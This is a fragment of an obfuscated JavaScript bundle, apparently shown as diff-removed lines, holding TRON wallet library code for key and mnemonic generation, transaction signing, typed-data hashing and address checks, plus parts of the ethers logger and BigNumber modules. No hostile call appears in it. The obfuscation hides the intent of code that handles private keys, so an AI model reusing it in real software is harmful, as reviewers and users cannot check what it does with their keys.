- _0x413a2d(!_0x1cce95[3] || parseInt(_0x1cce95[3]) === _0x5710f8.length, "array length mismatch; expected length ".concat(parseInt(_0x1cce95[3])), "value", _0x5710f8);
- return _0x5710f8.map(function (_0x491d9e) {
- return _0x319c70._visit(_0x1cce95[1], _0x491d9e, _0x4c0a4a);
- });
- }
- var _0x23e9e3 = this.types[_0x3d427a];
- if (_0x23e9e3) {
- return _0x23e9e3.reduce(function (_0xd9016, _0x327534) {
- var _0x52684a = _0x327534.name;
- var _0x126990 = _0x327534.type;
- _0xd9016[_0x52684a] = _0x319c70._visit(_0x126990, _0x5710f8[_0x52684a], _0x4c0a4a);
- return _0xd9016;
- }, {});
- }
- _0x413a2d(false, "unknown type: ".concat(_0x3d427a), "type", _0x3d427a);
- }
- }, {
- key: "visit",
- value: function (_0x38c53d, _0xe0b8cb) {
- return this._visit(this.primaryType, _0x38c53d, _0xe0b8cb);
- }
- }], [{
- key: "from",
- value: function (_0x3d6191) {
- return new _0x1dead2(_0x3d6191);
- }
- }, {
- key: "getPrimaryType",
- value: function (_0x159edb) {
- return _0x1dead2.from(_0x159edb).primaryType;
- }
- }, {
- key: "hashStruct",
- value: function (_0x386450, _0x4bdfa1, _0x42960c) {
- return _0x1dead2.from(_0x4bdfa1).hashStruct(_0x386450, _0x42960c);
- }
- }, {
- key: "hashDomain",
- value: function (_0x290d16) {
- var _0x151903 = [];
- for (var _0x3c3421 in _0x290d16) if (null != _0x290d16[_0x3c3421]) {
- var _0x4ecf9a = _0x1cdbcf[_0x3c3421];
- _0x413a2d(_0x4ecf9a, "invalid typed-data domain key: ".concat(JSON.stringify(_0x3c3421)), "domain", _0x290d16);
- _0x151903.push({
- name: _0x3c3421,
- type: _0x4ecf9a
- });
- }
- _0x151903.sort(function (_0x4e2d3a, _0x5207ad) {
- return _0x2590f0.indexOf(_0x4e2d3a.name) - _0x2590f0.indexOf(_0x5207ad.name);
- });
- return _0x1dead2.hashStruct("EIP712Domain", {
- EIP712Domain: _0x151903
- }, _0x290d16);
- }
- }, {
- key: "encode",
- value: function (_0x5c97c5, _0x236842, _0x1e450b) {
- return _0x251cd2(["0x1901", _0x1dead2.hashDomain(_0x5c97c5), _0x1dead2.from(_0x236842).hash(_0x1e450b)]);
- }
- }, {
- key: "hash",
- value: function (_0x36bedc, _0x5ed995, _0xe981d2) {
- return _0xa68238(_0x1dead2.encode(_0x36bedc, _0x5ed995, _0xe981d2));
- }
- }, {
- key: "getPayload",
- value: function (_0x5495d0, _0x143edd, _0x3d359c) {
- _0x1dead2.hashDomain(_0x5495d0);
- var _0x862692 = {};
- var _0x48c305 = [];
- _0x2590f0.forEach(function (_0x263b09) {
- var _0x4fdc9d = _0x5495d0[_0x263b09];
- null != _0x4fdc9d && (_0x862692[_0x263b09] = _0x527508[_0x263b09](_0x4fdc9d), _0x48c305.push({
- name: _0x263b09,
- type: _0x1cdbcf[_0x263b09]
- }));
- });
- var _0xea49b2 = _0x1dead2.from(_0x143edd);
- var _0x3713d9 = Object.assign({}, _0x143edd);
- _0x413a2d(null == _0x3713d9.EIP712Domain, "types must not contain EIP712Domain type", "types.EIP712Domain", _0x143edd);
- _0x3713d9.EIP712Domain = _0x48c305;
- _0xea49b2.encode(_0x3d359c);
- return {
- types: _0x3713d9,
- domain: _0x862692,
- primaryType: _0xea49b2.primaryType,
- message: _0xea49b2.visit(_0x3d359c, function (_0x14e3fb, _0x49eeba) {
- if (_0x14e3fb.match(/^bytes(\d*)/)) {
- return _0x192257(_0x2565f8(_0x49eeba));
- }
- if (_0x14e3fb.match(/^u?int/)) {
- return _0x1d7273(_0x49eeba).toString();
- }
- switch (_0x14e3fb) {
- case "trcToken":
- return _0x1d7273(_0x49eeba).toString();
- case "address":
- return _0x49eeba.toLowerCase();
- case "bool":
- return !!_0x49eeba;
- case "string":
- _0x413a2d("string" == typeof _0x49eeba, "invalid string", "value", _0x49eeba);
- return _0x49eeba;
- }
- _0x413a2d(false, "unsupported type", "type", _0x14e3fb);
- })
- };
- }
- }]);
- return _0x1dead2;
- }();
- function _0xaf7d16(_0x225da9) {
- var _0x34a4f2 = this;
- var _0x416091 = _0x400184(_0x225da9);
- if (_0x416091) {
- return _0x416091;
- }
- var _0x58fe46 = _0x225da9.match(/^(.*)(\x5b(\d*)\x5d)$/);
- if (_0x58fe46) {
- var _0x528700 = _0x58fe46[1];
- var _0x525ca9 = this.getEncoder(_0x528700);
- return function (_0x1e0146) {
- _0x413a2d(!_0x58fe46[3] || parseInt(_0x58fe46[3]) === _0x1e0146.length, "array length mismatch; expected length ".concat(parseInt(_0x58fe46[3])), "value", _0x1e0146);
- var _0x581f83 = _0x1e0146.map(_0x525ca9);
- _0x46b89d(_0x34a4f2, _0x34b0f3).has(_0x528700) && (_0x581f83 = _0x581f83.map(_0xa68238));
- return _0xa68238(_0x251cd2(_0x581f83));
- };
- }
- var _0x568d15 = this.types[_0x225da9];
- if (_0x568d15) {
- var _0x550128 = _0x261fa4(_0x46b89d(this, _0x34b0f3).get(_0x225da9));
- return function (_0x398c9b) {
- var _0x480bb1 = _0x568d15.map(function (_0x52e971) {
- var _0x17e983 = _0x52e971.name;
- var _0x2752fa = _0x52e971.type;
- var _0x305307 = _0x34a4f2.getEncoder(_0x2752fa)(_0x398c9b[_0x17e983]);
- return _0x46b89d(_0x34a4f2, _0x34b0f3).has(_0x2752fa) ? _0xa68238(_0x305307) : _0x305307;
- });
- _0x480bb1.unshift(_0x550128);
- return _0x251cd2(_0x480bb1);
- };
- }
- _0x413a2d(false, "unknown type: ".concat(_0x225da9), "type", _0x225da9);
- }
- var _0x15babe = _0x242c38(5053);
- function _0x8062fc(_0x19005c) {
- var _0xbc07be = _0x3248d0(_0x19005c);
- var _0x1b6865 = _0x3248d0(_0xbc07be).slice(0, 4);
- return _0x547e9a(_0x1b6865 = _0x19005c.concat(_0x1b6865));
- }
- function _0x190116(_0x20df49) {
- if ("string" != typeof _0x20df49) {
- return false;
- }
- if (_0x20df49.length <= 4) {
- return false;
- }
- var _0x2b5c59 = _0x45d584(_0x20df49);
- if (_0x20df49.length <= 4) {
- return false;
- }
- var _0x400ecb = _0x2b5c59.length - 4;
- var _0x3d490b = _0x2b5c59.slice(_0x400ecb);
- var _0x1f799d = _0x3248d0(_0x2b5c59 = _0x2b5c59.slice(0, _0x400ecb));
- var _0xa3a2da = _0x3248d0(_0x1f799d).slice(0, 4);
- if (_0x3d490b[0] == _0xa3a2da[0] && _0x3d490b[1] == _0xa3a2da[1] && _0x3d490b[2] == _0xa3a2da[2] && _0x3d490b[3] == _0xa3a2da[3]) {
- return _0x2b5c59;
- }
- throw new Error("Invalid address provided");
- }
- function _0x13d145(_0x5621c4, _0x10d386) {
- "string" == typeof _0x5621c4 && (_0x5621c4 = _0x4668eb(_0x5621c4));
- var _0xf26996 = _0x325016(_0x4668eb(_0x10d386.txID), _0x5621c4);
- Array.isArray(_0x10d386.signature) ? _0x10d386.signature.includes(_0xf26996) || _0x10d386.signature.push(_0xf26996) : _0x10d386.signature = [_0xf26996];
- return _0x10d386;
- }
- function _0x3f4e4b(_0x4e418e, _0x38c8a2) {
- _0x4e418e = "0x" + _0x4e418e.replace(/^0x/, "");
- _0x38c8a2 = "0x" + _0x38c8a2.replace(/^0x/, "");
- var _0x454553 = _0x56c182(_0x1e06b0(_0x4e418e), _0x47e1c0.from(_0x38c8a2));
- return _0x40cce0 + _0x454553.substring(2);
- }
- function _0x56558e(_0x52bf42) {
- return btoa(String.fromCharCode.apply(String, _0x4cbd27(_0x52bf42)));
- }
- function _0x5be9df(_0x5a359c, _0x2654c4) {
- "string" == typeof _0x5a359c && (_0x5a359c = _0x4668eb(_0x5a359c));
- return _0x325016(_0x3248d0(_0x2654c4), _0x5a359c);
- }
- function _0x33e311(_0x260033, _0x15c3ac, _0x1e652c, _0x46c6de) {
- var _0x562cf6 = "0x".concat(_0x46c6de.replace(/^0x/, ""));
- var _0xeb078f = new _0xda262b(_0x562cf6);
- var _0x3ba731 = _0x2fa62b.hash(_0x260033, _0x15c3ac, _0x1e652c);
- var _0x3a9b6c = _0xeb078f.sign(_0x3ba731);
- return ["0x", _0x3a9b6c.r.substring(2), _0x3a9b6c.s.substring(2), Number(_0x3a9b6c.v).toString(16)].join("");
- }
- function _0xf65b4a(_0x1b11c8) {
- var _0x36c8a0 = _0x72b847(_0x1b11c8);
- return proto.protocol.Transaction.deserializeBinary(_0x36c8a0).getRawData().serializeBinary();
- }
- function _0x328243() {
- var _0x3c15f9 = _0x5939a5(_0x15babe.k.utils.randomPrivateKey());
- return _0x4668eb(_0x3c15f9 = _0x3c15f9.padStart(64, "0"));
- }
- function _0x30035a(_0x44c3b1) {
- 65 === _0x44c3b1.length && (_0x44c3b1 = _0x44c3b1.slice(1));
- var _0x105858 = _0xa68238(new Uint8Array(_0x44c3b1)).toString().substring(2);
- return _0x4668eb(_0x40cce0 + _0x105858.substring(24));
- }
- function _0x22d4ba(_0x3d00ad) {
- return _0x30035a(_0x89d2a6(_0x3d00ad));
- }
- function _0x5a39c9(_0x1e5899) {
- var _0x4ef65f = _0x45d584(_0x1e5899);
- if (_0x4ef65f.length <= 4) {
- return false;
- }
- var _0x15ba29 = _0x4ef65f.slice(0, _0x4ef65f.length - 4);
- var _0x3ae87f = _0x3248d0(_0x15ba29);
- var _0x5131f0 = _0x3248d0(_0x3ae87f);
- return _0x5131f0[0] === _0x4ef65f[_0x15ba29.length] && _0x5131f0[1] === _0x4ef65f[_0x15ba29.length + 1] && _0x5131f0[2] === _0x4ef65f[_0x15ba29.length + 2] && _0x5131f0[3] === _0x4ef65f[_0x15ba29.length + 3] && _0x15ba29;
- }
- function _0xcd8da6(_0x2c9019) {
- if ("string" != typeof _0x2c9019) {
- return false;
- }
- if (_0x2c9019.length !== _0x49aff3) {
- return false;
- }
- var _0x5e9843 = _0x45d584(_0x2c9019);
- if (25 !== _0x5e9843.length) {
- return false;
- }
- if (_0x5e9843[0] !== _0x446ca1) {
- return false;
- }
- var _0x3d299d = _0x5e9843.slice(21);
- var _0x515b06 = _0x3248d0(_0x5e9843 = _0x5e9843.slice(0, 21));
- var _0x475fab = _0x3248d0(_0x515b06).slice(0, 4);
- return _0x3d299d[0] == _0x475fab[0] && _0x3d299d[1] == _0x475fab[1] && _0x3d299d[2] == _0x475fab[2] && _0x3d299d[3] == _0x475fab[3];
- }
- function _0x81c261(_0x4a34ee) {
- return _0x8062fc(_0x30035a(_0x89d2a6(_0x72b847(_0x4a34ee))));
- }
- function _0x153b9a(_0x2200ba) {
- return _0x5939a5(_0x30035a(_0x89d2a6(_0x72b847(_0x2200ba))));
- }
- function _0x4a10dd(_0x38efc2) {
- return _0x2119b9(_0x30035a(_0x89d2a6(_0x72b847(_0x38efc2))));
- }
- function _0x89d2a6(_0xd155d2) {
- var _0x251c0e = _0x15babe.k.ProjectivePoint.fromPrivateKey(new Uint8Array(function (_0x35e83d) {
- return _0x4668eb(_0x5939a5(_0x35e83d).padStart(64, "0"));
- }(_0xd155d2)));
- var _0x5cffdd = _0x251c0e.x;
- var _0x1cd73c = _0x251c0e.y;
- var _0x1afcdc = _0x5cffdd.toString(16).padStart(64, "0");
- var _0x1a11e6 = _0x1cd73c.toString(16).padStart(64, "0");
- return _0x4668eb("04".concat(_0x1afcdc).concat(_0x1a11e6));
- }
- function _0x325016(_0x292887, _0x274984) {
- var _0x3a426e = _0x15babe.k.sign(_0x5939a5(_0x292887), _0x5939a5(_0x274984));
- var _0x154fd3 = _0x3a426e.r.toString(16);
- var _0x216506 = _0x3a426e.s.toString(16);
- var _0x114649 = _0x3a426e.recovery + 27;
- return _0x154fd3.padStart(64, "0") + _0x216506.padStart(64, "0") + _0xcae99(_0x114649);
- }
- function _0x3248d0(_0x19c236) {
- return _0x4668eb(_0x38416e("0x" + _0x5939a5(_0x19c236)).replace(/^0x/, ""));
- }
- function _0x44d3dc(_0x239eee) {
- return _0x8062fc(_0x22d4ba(_0x72b847(_0x239eee)));
- }
- function _0x5c496d(_0x319040) {
- return _0x8062fc(_0x22d4ba(_0x4668eb(_0x319040, arguments.length > 1 && undefined !== arguments[1] && arguments[1])));
- }
- var _0x229036 = "Invalid tron path provided";
- function _0x135203() {
- var _0x184a6c = _0x328243();
- var _0x436893 = _0x89d2a6(_0x184a6c);
- var _0x538477 = _0x22d4ba(_0x184a6c);
- return {
- privateKey: _0x5939a5(_0x184a6c),
- publicKey: _0x5939a5(_0x436893),
- address: {
- base58: _0x8062fc(_0x538477),
- hex: _0x5939a5(_0x538477)
- }
- };
- }
- function _0x377944(_0x4c5ca5) {
- if (_0x1db97c.isObject(_0x4c5ca5) || (_0x4c5ca5 = {}), _0x4c5ca5.path || (_0x4c5ca5.path = _0x1a9774), !String(_0x4c5ca5.path).match(/^m\/44\'\/195\'/)) {
- throw new Error(_0x229036);
- }
- var _0x2962bf = _0x3f9191.createRandom(_0x4c5ca5.password, _0x4c5ca5.path, _0x4c5ca5.wordlist);
- return {
- mnemonic: _0x2962bf.mnemonic,
- privateKey: _0x2962bf.privateKey,
- publicKey: _0x2962bf.signingKey.publicKey,
- address: _0x5c496d(_0x2962bf.privateKey.replace(/^0x/, ""))
- };
- }
- function _0x101d7c(_0x587b30, _0x902186) {
- var _0x586258 = arguments.length > 2 && undefined !== arguments[2] ? arguments[2] : null;
- if (_0x902186 || (_0x902186 = _0x1a9774), !String(_0x902186).match(/^m\/44\'\/195\'/)) {
- throw new Error(_0x229036);
- }
- var _0x36be8d = _0x3f9191.fromMnemonic(_0x4be2c8.fromPhrase(_0x587b30, null, _0x586258), _0x902186);
- return {
- mnemonic: _0x36be8d.mnemonic,
- privateKey: _0x36be8d.privateKey,
- publicKey: _0x36be8d.signingKey.publicKey,
- address: _0x5c496d(_0x36be8d.privateKey.replace(/^0x/, ""))
- };
- }
- let _0x758493 = false;
- let _0x123767 = false;
- const _0x53081a = {
- debug: 1,
- default: 2,
- info: 2,
- warning: 3,
- error: 4,
- off: 5
- };
- let _0x45f5b4 = _0x53081a.default;
- let _0x2a6dd4 = null;
- const _0x4ad4ff = function () {
- try {
- const _0x554d6e = [];
- if (["NFD", "NFC", "NFKD", "NFKC"].forEach(_0x7b4489 => {
- try {
- if ("test" !== "test".normalize(_0x7b4489)) {
- throw new Error("bad normalize");
- }
- } catch (_0x4fb0b9) {
- _0x554d6e.push(_0x7b4489);
- }
- }), _0x554d6e.length) {
- throw new Error("missing " + _0x554d6e.join(", "));
- }
- if (String.fromCharCode(233).normalize("NFD") !== String.fromCharCode(101, 769)) {
- throw new Error("broken implementation");
- }
- } catch (_0x155074) {
- return _0x155074.message;
- }
- return null;
- }();
- var _0x2de4ef;
- var _0x132507;
- !function (_0x5d460b) {
- _0x5d460b.DEBUG = "DEBUG";
- _0x5d460b.INFO = "INFO";
- _0x5d460b.WARNING = "WARNING";
- _0x5d460b.ERROR = "ERROR";
- _0x5d460b.OFF = "OFF";
- }(_0x2de4ef || (_0x2de4ef = {}));
- (function (_0x55b722) {
- _0x55b722.UNKNOWN_ERROR = "UNKNOWN_ERROR";
- _0x55b722.NOT_IMPLEMENTED = "NOT_IMPLEMENTED";
- _0x55b722.UNSUPPORTED_OPERATION = "UNSUPPORTED_OPERATION";
- _0x55b722.NETWORK_ERROR = "NETWORK_ERROR";
- _0x55b722.SERVER_ERROR = "SERVER_ERROR";
- _0x55b722.TIMEOUT = "TIMEOUT";
- _0x55b722.BUFFER_OVERRUN = "BUFFER_OVERRUN";
- _0x55b722.NUMERIC_FAULT = "NUMERIC_FAULT";
- _0x55b722.MISSING_NEW = "MISSING_NEW";
- _0x55b722.INVALID_ARGUMENT = "INVALID_ARGUMENT";
- _0x55b722.MISSING_ARGUMENT = "MISSING_ARGUMENT";
- _0x55b722.UNEXPECTED_ARGUMENT = "UNEXPECTED_ARGUMENT";
- _0x55b722.CALL_EXCEPTION = "CALL_EXCEPTION";
- _0x55b722.INSUFFICIENT_FUNDS = "INSUFFICIENT_FUNDS";
- _0x55b722.NONCE_EXPIRED = "NONCE_EXPIRED";
- _0x55b722.REPLACEMENT_UNDERPRICED = "REPLACEMENT_UNDERPRICED";
- _0x55b722.UNPREDICTABLE_GAS_LIMIT = "UNPREDICTABLE_GAS_LIMIT";
- _0x55b722.TRANSACTION_REPLACED = "TRANSACTION_REPLACED";
- _0x55b722.ACTION_REJECTED = "ACTION_REJECTED";
- })(_0x132507 || (_0x132507 = {}));
- const _0x387b03 = "0123456789abcdef";
- class _0xd41928 {
- constructor(_0x48e20e) {
- Object.defineProperty(this, "version", {
- enumerable: true,
- value: _0x48e20e,
- writable: false
- });
- }
- _log(_0x54fc73, _0x464fed) {
- const _0x3a56e4 = _0x54fc73.toLowerCase();
- null == _0x53081a[_0x3a56e4] && this.throwArgumentError("invalid log level name", "logLevel", _0x54fc73);
- _0x45f5b4 > _0x53081a[_0x3a56e4] || console.log.apply(console, _0x464fed);
- }
- debug(..._0x89159a) {
- this._log(_0xd41928.levels.DEBUG, _0x89159a);
- }
- info(..._0x55812a) {
- this._log(_0xd41928.levels.INFO, _0x55812a);
- }
- warn(..._0x2a0dc9) {
- this._log(_0xd41928.levels.WARNING, _0x2a0dc9);
- }
- makeError(_0x59598b, _0x3e6aad, _0x42e876) {
- if (_0x123767) {
- return this.makeError("censored error", _0x3e6aad, {});
- }
- _0x3e6aad || (_0x3e6aad = _0xd41928.errors.UNKNOWN_ERROR);
- _0x42e876 || (_0x42e876 = {});
- const _0x30d7fd = [];
- Object.keys(_0x42e876).forEach(_0x28db4a => {
- const _0x22211d = _0x42e876[_0x28db4a];
- try {
- if (_0x22211d instanceof Uint8Array) {
- let _0xbf8649 = "";
- for (let _0x54b47b = 0; _0x54b47b < _0x22211d.length; _0x54b47b++) {
- _0xbf8649 += _0x387b03[_0x22211d[_0x54b47b] >> 4];
- _0xbf8649 += _0x387b03[15 & _0x22211d[_0x54b47b]];
- }
- _0x30d7fd.push(_0x28db4a + "=Uint8Array(0x" + _0xbf8649 + ")");
- } else {
- _0x30d7fd.push(_0x28db4a + "=" + JSON.stringify(_0x22211d));
- }
- } catch (_0x1bcfaa) {
- _0x30d7fd.push(_0x28db4a + "=" + JSON.stringify(_0x42e876[_0x28db4a].toString()));
- }
- });
- _0x30d7fd.push("code=" + _0x3e6aad);
- _0x30d7fd.push("version=" + this.version);
- const _0x486449 = _0x59598b;
- let _0x2f0420 = "";
- switch (_0x3e6aad) {
- case _0x132507.NUMERIC_FAULT:
- {
- _0x2f0420 = "NUMERIC_FAULT";
- const _0x554d19 = _0x59598b;
- switch (_0x554d19) {
- case "overflow":
- case "underflow":
- case "division-by-zero":
- _0x2f0420 += "-" + _0x554d19;
- break;
- case "negative-power":
- case "negative-width":
- _0x2f0420 += "-unsupported";
- break;
- case "unbound-bitwise-result":
- _0x2f0420 += "-unbound-result";
- }
- break;
- }
- case _0x132507.CALL_EXCEPTION:
- case _0x132507.INSUFFICIENT_FUNDS:
- case _0x132507.MISSING_NEW:
- case _0x132507.NONCE_EXPIRED:
- case _0x132507.REPLACEMENT_UNDERPRICED:
- case _0x132507.TRANSACTION_REPLACED:
- case _0x132507.UNPREDICTABLE_GAS_LIMIT:
- _0x2f0420 = _0x3e6aad;
- }
- _0x2f0420 && (_0x59598b += " [ See: https://links.ethers.org/v5-errors-" + _0x2f0420 + " ]");
- _0x30d7fd.length && (_0x59598b += " (" + _0x30d7fd.join(", ") + ")");
- const _0x160e55 = new Error(_0x59598b);
- _0x160e55.reason = _0x486449;
- _0x160e55.code = _0x3e6aad;
- Object.keys(_0x42e876).forEach(function (_0x103d25) {
- _0x160e55[_0x103d25] = _0x42e876[_0x103d25];
- });
- return _0x160e55;
- }
- throwError(_0x40df66, _0x14ed85, _0x26abd6) {
- throw this.makeError(_0x40df66, _0x14ed85, _0x26abd6);
- }
- throwArgumentError(_0x2e1c78, _0x2d5901, _0x280ae6) {
- return this.throwError(_0x2e1c78, _0xd41928.errors.INVALID_ARGUMENT, {
- argument: _0x2d5901,
- value: _0x280ae6
- });
- }
- assert(_0x4b2def, _0x3bc87d, _0x35cbfd, _0x4935f3) {
- _0x4b2def || this.throwError(_0x3bc87d, _0x35cbfd, _0x4935f3);
- }
- assertArgument(_0x174e08, _0x441792, _0x185272, _0x4555fd) {
- _0x174e08 || this.throwArgumentError(_0x441792, _0x185272, _0x4555fd);
- }
- checkNormalize(_0x4c03dc) {
- null == _0x4c03dc && (_0x4c03dc = "platform missing String.prototype.normalize");
- _0x4ad4ff && this.throwError("platform missing String.prototype.normalize", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- operation: "String.prototype.normalize",
- form: _0x4ad4ff
- });
- }
- checkSafeUint53(_0x53a9ba, _0x21ee29) {
- "number" == typeof _0x53a9ba && (null == _0x21ee29 && (_0x21ee29 = "value not safe"), (_0x53a9ba < 0 || _0x53a9ba >= 9007199254740991) && this.throwError(_0x21ee29, _0xd41928.errors.NUMERIC_FAULT, {
- operation: "checkSafeInteger",
- fault: "out-of-safe-range",
- value: _0x53a9ba
- }), _0x53a9ba % 1 && this.throwError(_0x21ee29, _0xd41928.errors.NUMERIC_FAULT, {
- operation: "checkSafeInteger",
- fault: "non-integer",
- value: _0x53a9ba
- }));
- }
- checkArgumentCount(_0x51fc27, _0x1aaeab, _0x39f1fd) {
- _0x39f1fd = _0x39f1fd ? ": " + _0x39f1fd : "";
- _0x51fc27 < _0x1aaeab && this.throwError("missing argument" + _0x39f1fd, _0xd41928.errors.MISSING_ARGUMENT, {
- count: _0x51fc27,
- expectedCount: _0x1aaeab
- });
- _0x51fc27 > _0x1aaeab && this.throwError("too many arguments" + _0x39f1fd, _0xd41928.errors.UNEXPECTED_ARGUMENT, {
- count: _0x51fc27,
- expectedCount: _0x1aaeab
- });
- }
- checkNew(_0x12732e, _0x528ad4) {
- _0x12732e !== Object && null != _0x12732e || this.throwError("missing new", _0xd41928.errors.MISSING_NEW, {
- name: _0x528ad4.name
- });
- }
- checkAbstract(_0xcbd09c, _0x3fd99e) {
- _0xcbd09c === _0x3fd99e ? this.throwError("cannot instantiate abstract class " + JSON.stringify(_0x3fd99e.name) + " directly; use a sub-class", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- name: _0xcbd09c.name,
- operation: "new"
- }) : _0xcbd09c !== Object && null != _0xcbd09c || this.throwError("missing new", _0xd41928.errors.MISSING_NEW, {
- name: _0x3fd99e.name
- });
- }
- static globalLogger() {
- _0x2a6dd4 || (_0x2a6dd4 = new _0xd41928("logger/5.7.0"));
- return _0x2a6dd4;
- }
- static setCensorship(_0x38cafa, _0x1b5c8a) {
- if (!_0x38cafa && _0x1b5c8a && this.globalLogger().throwError("cannot permanently disable censorship", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- operation: "setCensorship"
- }), _0x758493) {
- if (!_0x38cafa) {
- return;
- }
- this.globalLogger().throwError("error censorship permanent", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- operation: "setCensorship"
- });
- }
- _0x123767 = !!_0x38cafa;
- _0x758493 = !!_0x1b5c8a;
- }
- static setLogLevel(_0x42a412) {
- const _0x5ade02 = _0x53081a[_0x42a412.toLowerCase()];
- null != _0x5ade02 ? _0x45f5b4 = _0x5ade02 : _0xd41928.globalLogger().warn("invalid log level - " + _0x42a412);
- }
- static from(_0x35c967) {
- return new _0xd41928(_0x35c967);
- }
- }
- _0xd41928.errors = _0x132507;
- _0xd41928.levels = _0x2de4ef;
- const _0x32dc7d = new _0xd41928("bytes/5.7.0");
- function _0xfaf025(_0x138922) {
- return !!_0x138922.toHexString;
- }
- function _0xa335e6(_0x564bc3) {
- _0x564bc3.slice || (_0x564bc3.slice = function () {
- const _0x3c66ef = Array.prototype.slice.call(arguments);
- return _0xa335e6(new Uint8Array(Array.prototype.slice.apply(_0x564bc3, _0x3c66ef)));
- });
- return _0x564bc3;
- }
- function _0x42d67e(_0xf971a7) {
- return "number" == typeof _0xf971a7 && _0xf971a7 == _0xf971a7 && _0xf971a7 % 1 == 0;
- }
- function _0x4c2875(_0x1f3280) {
- if (null == _0x1f3280) {
- return false;
- }
- if (_0x1f3280.constructor === Uint8Array) {
- return true;
- }
- if ("string" == typeof _0x1f3280) {
- return false;
- }
- if (!_0x42d67e(_0x1f3280.length) || _0x1f3280.length < 0) {
- return false;
- }
- for (let _0x55b0b7 = 0; _0x55b0b7 < _0x1f3280.length; _0x55b0b7++) {
- const _0x3050f5 = _0x1f3280[_0x55b0b7];
- if (!_0x42d67e(_0x3050f5) || _0x3050f5 < 0 || _0x3050f5 >= 256) {
- return false;
- }
- }
- return true;
- }
- function _0x31ea1b(_0x523f4e, _0x206adc) {
- if (_0x206adc || (_0x206adc = {}), "number" == typeof _0x523f4e) {
- _0x32dc7d.checkSafeUint53(_0x523f4e, "invalid arrayify value");
- const _0x7747eb = [];
- for (; _0x523f4e;) {
- _0x7747eb.unshift(255 & _0x523f4e);
- _0x523f4e = parseInt(String(_0x523f4e / 256));
- }
- 0 === _0x7747eb.length && _0x7747eb.push(0);
- return _0xa335e6(new Uint8Array(_0x7747eb));
- }
- if (_0x206adc.allowMissingPrefix && "string" == typeof _0x523f4e && "0x" !== _0x523f4e.substring(0, 2) && (_0x523f4e = "0x" + _0x523f4e), _0xfaf025(_0x523f4e) && (_0x523f4e = _0x523f4e.toHexString()), _0x1336b1(_0x523f4e)) {
- let _0x31c516 = _0x523f4e.substring(2);
- _0x31c516.length % 2 && ("left" === _0x206adc.hexPad ? _0x31c516 = "0" + _0x31c516 : "right" === _0x206adc.hexPad ? _0x31c516 += "0" : _0x32dc7d.throwArgumentError("hex data is odd-length", "value", _0x523f4e));
- const _0x3ec4eb = [];
- for (let _0x2ca5a5 = 0; _0x2ca5a5 < _0x31c516.length; _0x2ca5a5 += 2) {
- _0x3ec4eb.push(parseInt(_0x31c516.substring(_0x2ca5a5, _0x2ca5a5 + 2), 16));
- }
- return _0xa335e6(new Uint8Array(_0x3ec4eb));
- }
- return _0x4c2875(_0x523f4e) ? _0xa335e6(new Uint8Array(_0x523f4e)) : _0x32dc7d.throwArgumentError("invalid arrayify value", "value", _0x523f4e);
- }
- function _0x3c6426(_0x3f6fea) {
- const _0x1f2ae7 = _0x3f6fea.map(_0x551b9c => _0x31ea1b(_0x551b9c));
- const _0x354616 = _0x1f2ae7.reduce((_0x43caac, _0x460a78) => _0x43caac + _0x460a78.length, 0);
- const _0x3002d9 = new Uint8Array(_0x354616);
- _0x1f2ae7.reduce((_0xaad255, _0x26ca09) => (_0x3002d9.set(_0x26ca09, _0xaad255), _0xaad255 + _0x26ca09.length), 0);
- return _0xa335e6(_0x3002d9);
- }
- function _0x1336b1(_0x3c6d05, _0x1db803) {
- return !("string" != typeof _0x3c6d05 || !_0x3c6d05.match(/^0x[0-9A-Fa-f]*$/) || _0x1db803 && _0x3c6d05.length !== 2 + 2 * _0x1db803);
- }
- const _0x2134c7 = "0123456789abcdef";
- function _0x22fb7d(_0x2e672e, _0x4cd3a7) {
- if (_0x4cd3a7 || (_0x4cd3a7 = {}), "number" == typeof _0x2e672e) {
- _0x32dc7d.checkSafeUint53(_0x2e672e, "invalid hexlify value");
- let _0xae2b81 = "";
- for (; _0x2e672e;) {
- _0xae2b81 = _0x2134c7[15 & _0x2e672e] + _0xae2b81;
- _0x2e672e = Math.floor(_0x2e672e / 16);
- }
- return _0xae2b81.length ? (_0xae2b81.length % 2 && (_0xae2b81 = "0" + _0xae2b81), "0x" + _0xae2b81) : "0x00";
- }
- if ("bigint" == typeof _0x2e672e) {
- return (_0x2e672e = _0x2e672e.toString(16)).length % 2 ? "0x0" + _0x2e672e : "0x" + _0x2e672e;
- }
- if (_0x4cd3a7.allowMissingPrefix && "string" == typeof _0x2e672e && "0x" !== _0x2e672e.substring(0, 2) && (_0x2e672e = "0x" + _0x2e672e), _0xfaf025(_0x2e672e)) {
- return _0x2e672e.toHexString();
- }
- if (_0x1336b1(_0x2e672e)) {
- _0x2e672e.length % 2 && ("left" === _0x4cd3a7.hexPad ? _0x2e672e = "0x0" + _0x2e672e.substring(2) : "right" === _0x4cd3a7.hexPad ? _0x2e672e += "0" : _0x32dc7d.throwArgumentError("hex data is odd-length", "value", _0x2e672e));
- return _0x2e672e.toLowerCase();
- }
- if (_0x4c2875(_0x2e672e)) {
- let _0x13354d = "0x";
- for (let _0x231973 = 0; _0x231973 < _0x2e672e.length; _0x231973++) {
- let _0x43a209 = _0x2e672e[_0x231973];
- _0x13354d += _0x2134c7[(240 & _0x43a209) >> 4] + _0x2134c7[15 & _0x43a209];
- }
- return _0x13354d;
- }
- return _0x32dc7d.throwArgumentError("invalid hexlify value", "value", _0x2e672e);
- }
- function _0x745c1c(_0x44587f, _0x117114, _0x56339b) {
- Object.defineProperty(_0x44587f, _0x117114, {
- enumerable: true,
- value: _0x56339b,
- writable: false
- });
- }
- new _0xd41928("properties/5.7.0");
- const _0x4ea90b = "abi/5.7.0";
- var _0x5f5a0a = _0x242c38(3550);
- var _0x1e8a81 = _0x242c38.n(_0x5f5a0a)().BN;
- const _0x4d71dd = new _0xd41928("bignumber/5.7.0");
- const _0x4bb014 = {};
- const _0x3f2198 = 9007199254740991;
- let _0x2934cd = false;
- class _0x37fa43 {
- constructor(_0x252b89, _0x56e585) {
- _0x252b89 !== _0x4bb014 && _0x4d71dd.throwError("cannot call constructor directly; use BigNumber.from", _0xd41928.errors.UNSUPPORTED_OPERATION, {
- operation: "new (BigNumber)"
- });
- this._hex = _0x56e585;
- this._isBigNumber = true;
- Object.freeze(this);
- }
- fromTwos(_0x3bcd65) {
- return _0x3f605d(_0xe8501d(this).fromTwos(_0x3bcd65));
- }
- toTwos(_0x1f6394) {
